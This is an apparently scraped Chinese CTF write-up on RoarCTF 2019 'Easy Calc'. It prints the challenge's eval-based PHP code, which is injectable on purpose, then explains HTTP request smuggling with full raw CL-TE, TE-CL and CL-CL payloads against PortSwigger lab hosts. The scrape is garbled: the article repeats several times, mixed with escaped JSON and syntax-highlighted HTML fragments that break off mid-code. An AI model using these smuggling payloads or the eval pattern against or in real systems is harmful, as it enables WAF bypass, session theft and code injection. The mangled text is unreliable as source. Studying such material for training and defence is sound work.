从一道CTF题到HTTP走私攻击

2021-11-03 10:40
1549

前言

最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在蚁景网安实验室CTF实验室进行一些解题操作,实战靶场级的体验!

RoarCTF 2019 Easy Calc

先看下源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
   show_source(__FILE__);
}else{
       $str = $_GET['num'];
       $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\
,'\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
              }
      }
       eval('echo '.$str.';');
}
?>

用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:

图1.png

到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念

什么是HTTP请求走私

HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。

Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。

这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。

如何实现HTTP请求走私攻击

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

CL不为0时

该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh:

这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh: GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n

这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。

CL-TE

CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:

POST / HTTP/1.1
Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
Content-Length: 6
Transfer-Encoding: chunked

0

A

当我们用Burp两次重放该数据包,会得到返回结果:

图2.png

解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样:

0\r\n
\r\n
A

后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。

TE-CL

TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:

POST / HTTP/1.1
Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。

图3.png

CL-CL

CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理

回到最初

因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。

,'\\\\','\\^'];\r\n        foreach ($blacklist as $blackitem) {\r\n                if (preg_match('\u002F' . $blackitem . '\u002Fm', $str)) {\r\n                        die(\"what are you want to do?\");\r\n               }\r\n       }\r\n        eval('echo '.$str.';');\r\n}\r\n?\u003E \r\n\r\n用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:\r\n\r\n\r\n到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念\r\n\r\n什么是HTTP请求走私\r\n\r\nHTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。\r\n\r\nTransfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。\r\n\r\n这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。\r\n\r\n如何实现HTTP请求走私攻击\r\n\r\n当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。\r\n\r\nCL不为0时\r\n\r\n该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。\r\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\\r\\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nattack: 1\\r\\n\r\nhhh: \r\n\r\n这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中\r\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\\r\\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nattack: 1\\r\\n\r\nhhh: GET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\r\n这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。\r\n\r\nCL-TE \r\n\r\nCL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:\r\n\r\nPOST \u002F HTTP\u002F1.1\r\nHost: ac911f721f9ee241c01763ef008600f8.web-security-academy.net\r\nConnection: close\r\nCache-Control: max-age=0\r\nsec-ch-ua: \"Chromium\";v=\"94\", \"Google Chrome\";v=\"94\", \";Not A Brand\";v=\"99\"\r\nsec-ch-ua-mobile: ?0\r\nsec-ch-ua-platform: \"Windows\"\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nSec-Fetch-Site: none\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nSec-Fetch-Dest: document\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n \r\n0\r\n \r\nA\r\n\r\n当我们用Burp两次重放该数据包,会得到返回结果:\r\n\r\n\r\n解释一下为什么Content-Length的长度是6,因为Burp把\\r\\n给直接解释成换行了,实际请求体应该是这样:\r\n\r\n0\\r\\n\r\n\\r\\n\r\nA\r\n\r\n后端服务器读到0\\r\\n\\r\\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。\r\n\r\nTE-CL \r\n\r\nTE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:\r\n\r\nPOST \u002F HTTP\u002F1.1\r\nHost: acae1fe41e622a9bc0c7189700950000.web-security-academy.net\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nCookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ\r\nContent-length: 4\r\nTransfer-Encoding: chunked\r\n \r\n5c\r\nGPOST \u002F HTTP\u002F1.1\r\nContent-Type: application\u002Fx-www-form-urlencoded\r\nContent-Length: 15\r\n \r\nx=1\r\n0\r\n \r\n \r\n\r\n前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\\r\\n\\r\\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。\r\n\r\n\r\nCL-CL\r\n\r\nCL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理\r\n\r\n回到最初\r\n\r\n因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。",pic:"\u002Fcloud-image\u002Fnews\u002F79f1ea9e-7bee-4f35-8337-5a66adc697a5.png",openTime:"2021-11-03T10:40:28+08:00",viewsNum:1549,content:"\u003Ch2\u003E\u003Cb\u003E前言\u003C\u002Fb\u003E\u003Cbr\u003E\u003C\u002Fh2\u003E\u003Cp\u003E最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在\u003Cspan style=\"color: rgb(65, 140, 175);\"\u003E\u003Ca href=\"\" target=\"_blank\" style=\"\"\u003E\u003C\u002Fa\u003E\u003Ca href=\"https:\u002F\u002Fwww.yijinglab.com\u002Fpages\u002FCTFLaboratory.jsp\" target=\"_blank\" ref=\"nofollow\" target=\"_blank\" \u003E蚁景网安实验室CTF实验室\u003C\u002Fa\u003E\u003C\u002Fspan\u003E进行一些解题操作,实战靶场级的体验!\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003ERoarCTF 2019 Easy Calc\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E先看下源码:\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<?\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ephp\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eerror_reporting\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!\u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eisset\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$_GET\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'num'\u003C\u002Fspan\u003E])){\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eshow_source\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003E__FILE__\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$_GET\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'num'\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$blacklist\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E [\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E' '\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\t'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\r'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\n'\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\''\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\"'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'`'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\['\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\]'\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\

从一道CTF题到HTTP走私攻击

2021-11-03 10:40
1549

前言

最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在蚁景网安实验室CTF实验室进行一些解题操作,实战靶场级的体验!

RoarCTF 2019 Easy Calc

先看下源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
   show_source(__FILE__);
}else{
       $str = $_GET['num'];
       $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\
,'\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
              }
      }
       eval('echo '.$str.';');
}
?>

用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:

图1.png

到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念

什么是HTTP请求走私

HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。

Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。

这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。

如何实现HTTP请求走私攻击

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

CL不为0时

该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh:

这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh: GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n

这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。

CL-TE

CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:

POST / HTTP/1.1
Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
Content-Length: 6
Transfer-Encoding: chunked

0

A

当我们用Burp两次重放该数据包,会得到返回结果:

图2.png

解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样:

0\r\n
\r\n
A

后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。

TE-CL

TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:

POST / HTTP/1.1
Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。

图3.png

CL-CL

CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理

回到最初

因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。

\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\\\'\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\^'\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eforeach\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$blacklist\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eas\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$blackitem\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\u002F'\u003C\u002Fspan\u003E . \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$blackitem\u003C\u002Fspan\u003E . \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\u002Fm'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E)) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Edie\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"what are you want to do?\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E               }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eeval\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'echo '\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E';'\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E?>\u003C\u002Fspan\u003E \u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"图1.png\" src=\"\u002Fcloud-image\u002Fnews\u002F79f1ea9e-7bee-4f35-8337-5a66adc697a5.png\" width=\"872\" 